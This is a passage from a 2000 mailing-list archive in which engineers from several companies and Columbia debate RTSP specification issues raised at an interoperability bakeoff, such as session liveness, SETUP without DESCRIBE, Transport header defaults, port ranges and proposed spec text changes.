There can also be some questions about what it means for a session to be
"associated with a client connection". If you have multiple connections
open from a client that are sending commands about a particular session,
which one is the session associated with? Also, if the client drops a
control connection and opens a new one but hasn't sent any commands about
that session yet, how would the server know it to associate that session
with the new connection?

The explicit approach is definitely simplest. In addition, though, I think
we definitely want to allow for RTCP-based liveness, so that clients don't
necessarily need to keep the control connection open at all during a
long playing stream. I'm not really sure we need to worry much about a
single control connection having so many sessions that an implicit type
of approach is required, but if that is an issue, I think we need to very
clearly define how streams are associated with a given connection...

> > 7a. Currently, the description of the Transport header says that "multicast
>  "
> > is the default for _all_ transports. However, for some such as RTP/AVP/TCP,
> > multicast doesn't make sense. Should it be changed to make "unicast" the
> > default for some transports like TCP?
> 
> Yes.  Defaults should never be nonsensical.
> 
The problem here is that you need semantic information to realize that the
default is nonsensical in this case. If a server is doing some kind of
simple pattern matching on transports, it needs a special case for each
type of transport now to know whether "unicast" or "multicast" is implied
when neither is specified... This might be worth doing, but there definitely
is a cost to it and some serious backward compatibility issues to work out.

> > 7c. The "port", "client_port", and "server_port" options currently allow
> > either a single port number or "port1-port2" to specify a range. However,
> > the spec isn't really clear about what is meant by each of these cases. In
> > the case of RTP, does specifying a single port imply that RTCP will be on
> > that port + 1? If a range of ports is specified where the second port numbe
>  r
> > _isn't_ the first port + 1, what does that mean?
> 
> The ports should always be specified explicitly.  Assuming that an
> unspecified port means "add 1" is not valid for non-RTP transports. 
> Allowing a generic list of ports rather than just a range would be good. 
> I'm not sure of the right syntax for this, though.  It can't be a comma
> separated list since commas are already used for lists of transports.
> 
I would also vote in favor of always specifying both ports. Again, though,
we need to decide how to deal with backward compatibility.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Thu Sep  7 13:42:22 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA18122
	for confctrl-outgoing; Thu, 7 Sep 2000 13:42:22 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA18117
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 13:42:21 -0700 (PDT)
Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id NAA12596
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 13:43:37 -0700 (PDT)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA02778
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 14:43:32 -0600 (MDT)
Received: from ha1mpk-mail.eng.sun.com (phys-ha1mpka.Eng.Sun.COM [129.146.122.34])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with SMTP id NAA29129
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 13:43:31 -0700 (PDT)
Received: from vernors by ha1mpk-mail.eng.sun.com (SMI-8.6/SMI-SVR4)
	id NAA28920; Thu, 7 Sep 2000 13:43:31 -0700
Message-Id: <200009072043.NAA28920@ha1mpk-mail.eng.sun.com>
To: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from ronf@entera.com (Ron Frederick) 
   of "Thu, 07 Sep 2000 12:30:37 PDT." <E13X7Nd-0007dv-00@savage.entera.com> 
From: Jonathan Sergent <sergent@eng.sun.com>
Date: Thu, 07 Sep 2000 13:43:22 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

/// ronf@entera.com (Ron Frederick):
 ] In the general case, this could be problematic, as the URL sent on a DESCRIBE
 ] is often different than the one(s) sent on a SETUP. You actually need the
 ] information in the DESCRIBE reply to decide which SETUP message(s) you need
 ] to send. 

I was going to say the same thing.

[...]
 ] The only time this is
 ] an issue is when the SDP description lists multiple tracks that need to each
 ] be SETUP separately. In such a case, the server is clearly capable of
 ] splitting up the data, as it is sending it to two different destinations.
 ] The only question is whether a client should have the ability to ask it to
 ] send one of those two streams and not the other (or more generally some
 ] subset of all the streams).

I agree, but I wonder how to handle this situation:

DESCRIBE $A
	(session description includes stream URLs $b, $c, and $d)
SETUP $b
SETUP $c
PLAY $A
	($b and $c start playing)
SETUP $d

All SETUPs and PLAYs are on the same RTSP session.  Does stream d start
playing immediately, in sync with the rest of the presentation?  Does
the server send 455?  The RFC is unclear.  Banning it is probably
unnecessary, but it's unclear whether you have to send another PLAY in
order to get it to start streaming (I would say "yes").  This is
potentially useful in situations where the client knows that one stream
does not begin for several minutes and so it can avoid the extra
resource utilization in the mean time.

[...]
 ] The one place where I could see it potentially being useful would be if you
 ] wanted to set up several different pieces of content in the same session
 ] with the intent of playing alternate versions of them rather than playing
 ] all of them simultaneously. In that case, the URI in the PLAY could let you
 ] specify which subset of the items to play. This sounds complicated to
 ] implement from a server standpoint, though, and I'm not sure we'd want to
 ] mandate something like that in the spec.

I think it's ambiguous, too, given this text in the spec, under PAUSE:
   If the request URL names a stream, only
   playback and recording of that stream is halted. For example, for
   audio, this is equivalent to muting.

If the server allows PLAY of only part of what has been SETUP (as you
describe above), then how does it distinguish an enqueued PLAY request
for only one stream from a request to restart PLAY of that stream after
it has been paused?  For example:

DESCRIBE $A
SETUP $b
SETUP $c
SETUP $d
PLAY $A\nRange: npt=0-60
PAUSE $b\nRange: npt=10
[30 seconds pass]
PLAY $b

Does $b restart in sync with $A, or does it start playing from start to
finish once $A has completed?  If there is a Range header, it is
clearly an enqueued request, since there is no way to say "start
playing in sync with the rest of the presentation" in Range... there
probably should be.

Also, if the client PAUSEs only one stream out of the presentation,
then it PAUSEs the entire presentation, then it PLAYs the entire
presentation, does the previously muted stream stay muted?

[...]
 ] The explicit approach is definitely simplest. In addition, though, I think
 ] we definitely want to allow for RTCP-based liveness, so that clients don't
 ] necessarily need to keep the control connection open at all during a
 ] long playing stream. I'm not really sure we need to worry much about a
 ] single control connection having so many sessions that an implicit type
 ] of approach is required, but if that is an issue, I think we need to very
 ] clearly define how streams are associated with a given connection...

I agree.

Another possibility would be to send a "ping" GET_PARAMETER request but
with more than one session ID listed, to ping all of the sessions in
one request.

 ] The problem here is that you need semantic information to realize that the
 ] default is nonsensical in this case. If a server is doing some kind of
 ] simple pattern matching on transports, it needs a special case for each
 ] type of transport now to know whether "unicast" or "multicast" is implied
 ] when neither is specified... This might be worth doing, but there definitely
 ] is a cost to it and some serious backward compatibility issues to work out.

How about getting rid of the default and requiring one or the other?


-- 
Jonathan Sergent / sergent@Eng.Sun.COM

From confctrl-owner  Thu Sep  7 14:15:09 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA19918
	for confctrl-outgoing; Thu, 7 Sep 2000 14:15:09 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA19913
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 14:15:07 -0700 (PDT)
Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21833
	for <confctrl@isi.edu>; Thu, 7 Sep 2000 14:16:24 -0700 (PDT)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA19642
	for <confctrl@isi.edu>; Thu, 7 Sep 2000 15:16:22 -0600 (MDT)
Received: from ha1mpk-mail.eng.sun.com (phys-ha1mpka.Eng.Sun.COM [129.146.122.34])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with SMTP id OAA10706
	for <confctrl@isi.edu>; Thu, 7 Sep 2000 14:16:20 -0700 (PDT)
Received: from vernors by ha1mpk-mail.eng.sun.com (SMI-8.6/SMI-SVR4)
	id OAA12397; Thu, 7 Sep 2000 14:16:20 -0700
Message-Id: <200009072116.OAA12397@ha1mpk-mail.eng.sun.com>
To: confctrl@ISI.EDU
Subject: RTSP embedded data and multiple connections; grammar errors
From: Jonathan Sergent <sergent@eng.sun.com>
Date: Thu, 07 Sep 2000 14:16:11 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


If an RTSP session is being controlled over multiple connections, and a
SETUP is done for interleaved transport, should the data sent back on
the connection where the SETUP arrived, or the connection where the
PLAY arrived?

Doing it where the SETUP arrived seems right (else it is not possible
to validate channel IDs at SETUP time).  Is this what others do?

Also, I noticed what seem to be a few minor errors in the RFC:

Section 12: 
        If-Match is missing from the header table but is in 12.22.

Section 12.39: 
        The grammar is missing the 'source' parameter.
        The argument for 'destination' is optional; this seems wrong.
        The grammar for 'mode' seems wrong.  How about:
                       |    ";" "mode" = <"> 1\#Method <">

It would actually be easier to parse if it was just multiple instances
of the mode attribute (which the grammar already allows)... quoted
nested lists don't appear elsewhere.

-- 
Jonathan Sergent / sergent@Eng.Sun.COM

From confctrl-owner  Thu Sep  7 17:19:43 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA21869
	for confctrl-outgoing; Thu, 7 Sep 2000 14:53:58 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21864
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 14:53:51 -0700 (PDT)
Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA03550
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 14:55:08 -0700 (PDT)
Received: from kaipara.live.com (sdsl-208-185-235-154.dsl.sjc.megapath.net [208.185.235.154])
	by proxy4.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id OAA28101
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 14:53:22 -0700 (PDT)
Message-Id: <4.3.1.1.20000907144819.00c8c8c0@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 07 Sep 2000 14:52:36 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: How are authenticated sessions described using SDP?
In-Reply-To: <14774.26040.776610.708533@thomasm-u1.cisco.com>
References: <4.3.1.1.20000906021344.00bb8c00@localhost>
 <4.3.1.1.20000906021344.00bb8c00@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 08:41 AM 9/6/00, you wrote:

>The main problem is not with SDP, but with RTP
>which doesn't specify any means of placing an HMAC
>on a RTP packet.

Well, maybe, but - as I pointed out in my original message - there are 
session types other than RTP/AVP for which authentication mechanisms have 
already been defined.  So it's worthwhile for us to be thinking about how 
to denote authentication in SDP, even though RTP sessions can't yet make 
use of this.

         Ross.


From confctrl-owner  Thu Sep  7 21:15:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA06264
	for confctrl-outgoing; Thu, 7 Sep 2000 21:15:04 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA06212
	for <confctrl@zephyr.isi.edu>; Thu, 7 Sep 2000 21:15:00 -0700 (PDT)
Received: from inet-smtp4.us.oracle.com (inet-smtp4.oracle.com [209.246.15.58])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA00427
	for <confctrl@ISI.EDU>; Thu, 7 Sep 2000 21:16:17 -0700 (PDT)
Received: from gmgw02.us.oracle.com (gmgw02.us.oracle.com [130.35.60.93])
	by inet-smtp4.us.oracle.com (8.9.3/8.9.3) with ESMTP id VAA09939;
	Thu, 7 Sep 2000 21:17:27 -0700 (PDT)
Received: from oracle.com (dpranke-pc.us.oracle.com [130.35.80.243])
	by gmgw02.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id VAA23828;
	Thu, 7 Sep 2000 21:16:15 -0700 (PDT)
Message-ID: <39B8680F.90AC7703@oracle.com>
Date: Thu, 07 Sep 2000 21:16:15 -0700
From: Dirk Pranke <dirk.pranke@oracle.com>
Organization: Oracle Corporation
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com>  
	 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Ron,

Here are my comments, based on Oracle's RTSP implementation in the
Oracle Video Server (OVS), which is quite similar to nCUBE's ... I apologize 
for the length of the post, but I think it's necessary to preserve context.

Ron Frederick wrote:
> 
> Hi Sean...
> 
> In message <39B7CA9E.F9555A5B@ncube.com> you write:
> > Some belated thoughts on a few of the issues raised are interspersed
> > below.
> >
> Thanks -- my replies are below. I'd love to see other opinions here as well.
> Many of the things I put into the summary had no clear answers yet, but it'd
> be nice to get some more discussion around them so they can be addressed
> somehow in future versions of the spec.
> 
> > A SETUP without a preceding DESCRIBE should be allowed.  I agree that
> > tying state  to a specific control connection via DESCRIBE is a bad
> > idea. It simply doesn't work for non-persistent control connections such
> > as UDP.
> >
> Agreed.

Me too.

> 
> > It may be worthwhile to allow client to combine the features of SETUP
> > and DESCRIBE in the same request.  For example, if a new header is
> > included in a SETUP request (e.g., "PrepareAsset"), the server could
> > return the DESCRIBE data in SETUP response body.  Opinions on this?
> >
> In the general case, this could be problematic, as the URL sent on a DESCRIBE
> is often different than the one(s) sent on a SETUP. You actually need the
> information in the DESCRIBE reply to decide which SETUP message(s) you need
> to send. I was thinking more of the case where the DESCRIBE was done
> previously or where you got the description by other means when I first
> raised this issue, and in those cases you wouldn't need the description to
> be sent again on the SETUP. If you do need it but you don't need it before
> sending the SETUP, you can always have your client pipeline the DESCRIBE and
> SETUP commands in a single message, and then process both replies. That
> should be about as quick from a network standpoint as one combined request,
> and wouldn't require any protocol changes.
> 

Clearly the general case is problematic, but it should be allowed for some
cases; we have situations where we can send the SETUP w/o needing a prior
DESCRIBE, but we still need other information that could be contained in the
description. There are two potential problems trying to work around this
with DESCRIBE:

 (1) a general problem with DESCRIBE is that its stateless whereas SETUP is
     stateful, and the DESCRIBE and SETUPs are not temporally aligned. For
     example, OVS has assets whose descriptions change in real time, and it
     is important to freeze the description that was in place at SETUP time.
     For this reason, DESCRIBE was useless to us and our initial implementations
     didn't even support it (we do now).

 (2) Unless I'm missing something, authorization concerns may prohibit a stateless 
     DESCRIBE from being pipelined with a SETUP, or more generally, _all pipelining_ 
     (a rolling nonce in the Authorization-Info: can cause a pipeline stall).

> > > 2b. Another question came up about whether servers were required to allow a
> > > SETUP on only a subset of tracks in an aggregate object. I couldn't find
> > > anything in the spec which discussed this, but I'd like to recommend that
> > > this at least be a "SHOULD".
> >
> > Not all servers or media types can support this.  E.g., dynamically
> > breaking apart an already combined MPEG-2 presentation into its
> > elementary streams is awkward at best.
> >
> An already-combined MPEG-2 presentation isn't likely to show up as an
> aggregate object of the kind described here, though. The only time this is
> an issue is when the SDP description lists multiple tracks that need to each
> be SETUP separately. In such a case, the server is clearly capable of
> splitting up the data, as it is sending it to two different destinations.
> The only question is whether a client should have the ability to ask it to
> send one of those two streams and not the other (or more generally some
> subset of all the streams).
> 

Yes, and I would think it should be.

> > > 2c. Finally, there were questions about whether it was legal to allow SETUP
> >  s
> > > for tracks from multiple different (possibly aggregate) objects in a single
> > > session, such that they could be controlled together using a single PLAY
> > > command. This seems like very useful functionality to me, but it raises
> > > questions about what URL should be used in the PLAY command in that case an
> >  d
> > > there are some issues that come up between this and the proposals recently
> > > discussed here in the RTSP extensions draft draft-sheedy-mmusic-rtsp-ext-01
> >  .
> > > The proposal at the bakeoff was to allow a "*" in place of the URL in PLAY
> > > when a Session was specified, with the meaning being to play all the tracks
> > > that were SETUP in that session. However, if you want to support reuse of
> > > a single session for multiple different sets of streams as was described in
> > > the extensions draft, something more complicated is going to be required.
> > > Further work is needed to reconcile all of these cases.
> >
> > What if the server returns a dynamically created aggregate URL in the
> > SETUP response?  That way the client has an unambiguous name to use to
> > specify the entire collection.  For example:
> >
> > C->S  SETUP stream1
> > S->C  OK Session=1234 URI=myaggregate1
> > C->S  SETUP stream2 Session=1234
> > S->C  OK Session=1234 URI=myaggregate1
> > C->S  PLAY Session=1234 URI=myaggregate1
> > S->C  OK
> >
> In a case like this, I'm still trying to understand what value the URI
> provides at all in the "PLAY", when you already have the Session field. In
> your example, you could do just as well leaving out the URI in the PLAY and
> just using a "*", along with Session: 1234.
> 
> The one place where I could see it potentially being useful would be if you
> wanted to set up several different pieces of content in the same session
> with the intent of playing alternate versions of them rather than playing
> all of them simultaneously. In that case, the URI in the PLAY could let you
> specify which subset of the items to play. This sounds complicated to
> implement from a server standpoint, though, and I'm not sure we'd want to
> mandate something like that in the spec.
> 

Yup. It seems like if you try to mix aggregate and individual operations, you're
in for a world of pain.

> > We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
> > stamp problems, etc., on transitions, fortunately.  Even so, we've found
> > callbacks on transitions useful for clients, who typically want to track
> > the presentation state.
> >
> How do you know what sequence number to return in the RTP-Info in the case of
> queued play, when you haven't finished playing the previous piece(s)? Also,
> when you say that MPEG-2 doesn't have the timestamp problem, is that just
> because all of your movies have a known length up front and a common RTP
> clock rate, or is there something more to it than that?
> 

Not all the world uses RTP :) If you're streaming raw MPEG-2 Transport over IP
or other types of networks, then a decent MPEG-2 client will recover from
timestamp discontinuities, and doesn't need RTP-Info sequencing information
(although it doesn't hurt, either).

> > > 6c. Currently, the spec does not require the server to return a Session hea
> >  der
> > > in the SETUP reply. However, this makes it difficult to do some kinds of
> > > aggregate control (such as the example earlier about tracks from different
> > > objects played together). To make the client's job easier, should we consid
> >  er
> > > requiring session IDs to be returned?
> >
> > Yes.  This was already my interpretation, and the interpretation of the
> > client writers I've worked with.  Without requiring a session ID to be
> > returned on SETUP, servers would have major problems properly handling
> > non-persistent control connections.
> >
> Agreed. Does anyone else think this would be an unreasonable change?
> 

I think a returned Session: should be mandatory.

> > [clarification of session timeouts]
> >
> > I agree that this needs to be clarified.  Clients need to know exactly
> > what is required of them to maintain their sessions with a minimum of
> > overhead.  This is particularly important for delivery mechanisms (such
> > as MPEG-2) that don't contain a built in backchannel from the client to
> > the server.
> >
> > I'd like to propose two complementary liveness detection mechanisms
> > which are independent of the content delivery mechanism: explicit and
> > implicit.  Explicit detection uses a reference to a particular session
> > to update the liveness indicator for that session.  Implicit detection
> > uses activity on a control connection to update the liveness indicator
> > for all sessions associated with that control connection.
> >
> > Explicit liveness detection uses the PLAY and GET_PARAMETER methods as
> > mentioned in the RFC.  Any request received from a client which
> > explicitly references a session resets the session time-out counter.
> > This mechanism is most useful in environments where each client controls
> > a small number of sessions, particularly one which is not using
> > persistent control connections.
> >
> > Implicit liveness detection resets the time-out counter for all sessions
> > associated with a client connection any time a syntactically valid RTSP
> > request is received on the connection.  For this purpose, a stand alone
> > CRLF could count as a syntactically valid RTSP request, although it
> > would not result in any response from the server.  Note that this
> > mechanism is not meaningful when using connectionless protocols
> > such as UDP for sending requests.
> >
> > Implicit liveness detection provides a very low overhead, scalable
> > liveness mechanism in environments which use persistent connections.  In
> > particular, RTSP clients which need to control many sessions
> > simultaneously benefit from this strategy.
> >
> > Note that this proposal doesn't address which type of liveness detection
> > must be supported by a server, or how a client can determine which type
> > a server allows.
> >
> I can see value in each of these approaches, but I'm not sure we'd want to
> complicate things by allowing servers to support only one or the other.
> There can also be some questions about what it means for a session to be
> "associated with a client connection". If you have multiple connections
> open from a client that are sending commands about a particular session,
> which one is the session associated with? Also, if the client drops a
> control connection and opens a new one but hasn't sent any commands about
> that session yet, how would the server know it to associate that session
> with the new connection?
> 
> The explicit approach is definitely simplest. In addition, though, I think
> we definitely want to allow for RTCP-based liveness, so that clients don't
> necessarily need to keep the control connection open at all during a
> long playing stream. I'm not really sure we need to worry much about a
> single control connection having so many sessions that an implicit type
> of approach is required, but if that is an issue, I think we need to very
> clearly define how streams are associated with a given connection...
> 

I certainly think the spec should clearly describe how to explicit liveness
over the control connection, and I would not be offended if implementations
needed to support that for a minimum level of interoperability (perhaps as
a negotiable option). There are certainly implementations out there that
can also do RTCP-based liveness, and that seems valid to me as well, so I
would not mind if that was negotiated as well. I think the spec's current
vagueness is not acceptable, as it has clearly _already_ caused interoperability
problems.

I myself am not fond of the implicit approach, because it does have many of the
problems you describe, and to me it is aesthetically unappealling. 

The case Sean was describing where you would have a client controlling many
streams is where you have an RTSP client that is acting as a bridge for other
protocols (e.g., MPEG DSM-CC, or legacy streaming protocols). Oracle's server
introduced the concept of a "bridge" into RTSP, and has SETUP_BRIDGE and 
TEARDOWN_BRIDGE and other mechanisms to indicate aggregation and control. I
think another way to accomplish the same thing would be to simple set up sub-streams
on a single session.

One possible complication for all of this: I don't recall the spec being clear
as to whether or not you _could_ send commands for multiple streams over a single
transport connection. I believe we thought that that wasn't allowed, e.g. a transport
connection had at most one session associated with it. If a connection can have
multiple sessions, then the overhead can also be reduced.

> > > 7a. Currently, the description of the Transport header says that "multicast
> >  "
> > > is the default for _all_ transports. However, for some such as RTP/AVP/TCP,
> > > multicast doesn't make sense. Should it be changed to make "unicast" the
> > > default for some transports like TCP?
> >
> > Yes.  Defaults should never be nonsensical.
> >
> The problem here is that you need semantic information to realize that the
> default is nonsensical in this case. If a server is doing some kind of
> simple pattern matching on transports, it needs a special case for each
> type of transport now to know whether "unicast" or "multicast" is implied
> when neither is specified... This might be worth doing, but there definitely
> is a cost to it and some serious backward compatibility issues to work out.
> 

I would get rid of the defaults.

> > > 7c. The "port", "client_port", and "server_port" options currently allow
> > > either a single port number or "port1-port2" to specify a range. However,
> > > the spec isn't really clear about what is meant by each of these cases. In
> > > the case of RTP, does specifying a single port imply that RTCP will be on
> > > that port + 1? If a range of ports is specified where the second port numbe
> >  r
> > > _isn't_ the first port + 1, what does that mean?
> >
> > The ports should always be specified explicitly.  Assuming that an
> > unspecified port means "add 1" is not valid for non-RTP transports.
> > Allowing a generic list of ports rather than just a range would be good.
> > I'm not sure of the right syntax for this, though.  It can't be a comma
> > separated list since commas are already used for lists of transports.
> >
> I would also vote in favor of always specifying both ports. Again, though,
> we need to decide how to deal with backward compatibility.

Yup.

> --
> Ron Frederick
> ronf@entera.com

-- Dirk

Dirk Pranke
Oracle Interactive Television Division

From confctrl-owner  Fri Sep  8 10:36:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA06279
	for confctrl-outgoing; Fri, 8 Sep 2000 10:36:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA06273
	for <confctrl@zephyr.isi.edu>; Fri, 8 Sep 2000 10:36:45 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id KAA26978
	for <confctrl@ISI.EDU>; Fri, 8 Sep 2000 10:38:01 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA05624;
	Fri, 8 Sep 2000 13:34:04 -0400 (EDT)
Message-ID: <39B9230C.DBBBC6EE@cs.columbia.edu>
Date: Fri, 08 Sep 2000 13:34:04 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dirk Pranke <dirk.pranke@oracle.com>
CC: Ron Frederick <ronf@entera.com>, Sean Sheedy <seans@ncube.com>,
        confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com>  
		 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com> <39B8680F.90AC7703@oracle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dirk Pranke wrote:
> 

> > Thanks -- my replies are below. I'd love to see other opinions here as well.
> > Many of the things I put into the summary had no clear answers yet, but it'd
> > be nice to get some more discussion around them so they can be addressed
> > somehow in future versions of the spec.

I will be trying to edit in changes. Thus, it would be helpful if you
could point out also where in the spec you suggest changes.

> >
> > > A SETUP without a preceding DESCRIBE should be allowed.  I agree that
> > > tying state  to a specific control connection via DESCRIBE is a bad
> > > idea. It simply doesn't work for non-persistent control connections such
> > > as UDP.
> > >
> > Agreed.
> 
> Me too.

I'm trying to find places in the spec that require DESCRIBE before
SETUP.


> 
> > > > 2b. Another question came up about whether servers were required to allow a
> > > > SETUP on only a subset of tracks in an aggregate object. I couldn't find
> > > > anything in the spec which discussed this, but I'd like to recommend that
> > > > this at least be a "SHOULD".
> > >
> > > Not all servers or media types can support this.  E.g., dynamically
> > > breaking apart an already combined MPEG-2 presentation into its
> > > elementary streams is awkward at best.
> > >
> > An already-combined MPEG-2 presentation isn't likely to show up as an
> > aggregate object of the kind described here, though. The only time this is
> > an issue is when the SDP description lists multiple tracks that need to each
> > be SETUP separately. In such a case, the server is clearly capable of
> > splitting up the data, as it is sending it to two different destinations.
> > The only question is whether a client should have the ability to ask it to
> > send one of those two streams and not the other (or more generally some
> > subset of all the streams).
> >
> 
> Yes, and I would think it should be.

Added in SDP section:


A client is \textbf{not} required to issues {\SETUP} requests for all
streams within an aggregate object. Servers {\SHOULD} allow the client   
to ask for only a subset of the streams.  


> > > We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
> > > stamp problems, etc., on transitions, fortunately.  Even so, we've found
> > > callbacks on transitions useful for clients, who typically want to track
> > > the presentation state.
> > >
> > How do you know what sequence number to return in the RTP-Info in the case of
> > queued play, when you haven't finished playing the previous piece(s)? Also,
> > when you say that MPEG-2 doesn't have the timestamp problem, is that just
> > because all of your movies have a known length up front and a common RTP
> > clock rate, or is there something more to it than that?
> >
> 
> Not all the world uses RTP :) If you're streaming raw MPEG-2 Transport over IP
> or other types of networks, then a decent MPEG-2 client will recover from
> timestamp discontinuities, and doesn't need RTP-Info sequencing information
> (although it doesn't hurt, either).

And even good RTP implementations will work just fine with timestamp
and/or sequence number discontinuities. These can occur for any number
of reasons.


> 
> > > > 6c. Currently, the spec does not require the server to return a Session hea
> > >  der
> > > > in the SETUP reply. However, this makes it difficult to do some kinds of
> > > > aggregate control (such as the example earlier about tracks from different
> > > > objects played together). To make the client's job easier, should we consid
> > >  er
> > > > requiring session IDs to be returned?
> > >
> > > Yes.  This was already my interpretation, and the interpretation of the
> > > client writers I've worked with.  Without requiring a session ID to be
> > > returned on SETUP, servers would have major problems properly handling
> > > non-persistent control connections.
> > >
> > Agreed. Does anyone else think this would be an unreasonable change?

Tentatively changed the 'all but SETUP, OPTIONS' entry to just OPTIONS.


> >
> 
> I think a returned Session: should be mandatory.

Text in Session section changed to:

The session
identifier is chosen by the media server (see
Section~\ref{sec:session-id}) and {\MUST} be returned in the {\SETUP} 
response.  Once a client receives a \header{Session} identifier, it
{\MUST} return it for any request related to that session.



> I certainly think the spec should clearly describe how to explicit liveness
> over the control connection, and I would not be offended if implementations
> needed to support that for a minimum level of interoperability (perhaps as
> a negotiable option). There are certainly implementations out there that
> can also do RTCP-based liveness, and that seems valid to me as well, so I
> would not mind if that was negotiated as well. I think the spec's current
> vagueness is not acceptable, as it has clearly _already_ caused interoperability
> problems.

I assume we're talking here about server detecting client liveness.

One approach is to use the SIP session timer mechanism, in combination
with Require/Supported. That way, the server can decide whether it can
either live with clients that don't support it or not. I don't think it
would hurt to have a mechanism that's similar to the SIP one, as it's
already documented.

http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-sip-session-timer-02.txt


> One possible complication for all of this: I don't recall the spec being clear
> as to whether or not you _could_ send commands for multiple streams over a single
> transport connection. I believe we thought that that wasn't allowed, e.g. a transport
> connection had at most one session associated with it. If a connection can have
> multiple sessions, then the overhead can also be reduced.

I don't recall that restriction being the case. Would there be any
reason to disallow this, given that the server can easily distinguish
the requests? This would be in line with HTTP and SIP usage, too.



> > The problem here is that you need semantic information to realize that the
> > default is nonsensical in this case. If a server is doing some kind of
> > simple pattern matching on transports, it needs a special case for each
> > type of transport now to know whether "unicast" or "multicast" is implied
> > when neither is specified... This might be worth doing, but there definitely
> > is a cost to it and some serious backward compatibility issues to work out.
> >
> 
> I would get rid of the defaults.
> 

Is there a problem with existing clients that omit the parameter, based
on the default assumption? Otherwise, I've removed the sentence and
added a word about having to insert one or other other (unicast or
multicast).


> > > > 7c. The "port", "client_port", and "server_port" options currently allow
> > > > either a single port number or "port1-port2" to specify a range. However,
> > > > the spec isn't really clear about what is meant by each of these cases. In
> > > > the case of RTP, does specifying a single port imply that RTCP will be on
> > > > that port + 1? If a range of ports is specified where the second port numbe
> > >  r
> > > > _isn't_ the first port + 1, what does that mean?
> > >
> > > The ports should always be specified explicitly.  Assuming that an
> > > unspecified port means "add 1" is not valid for non-RTP transports.
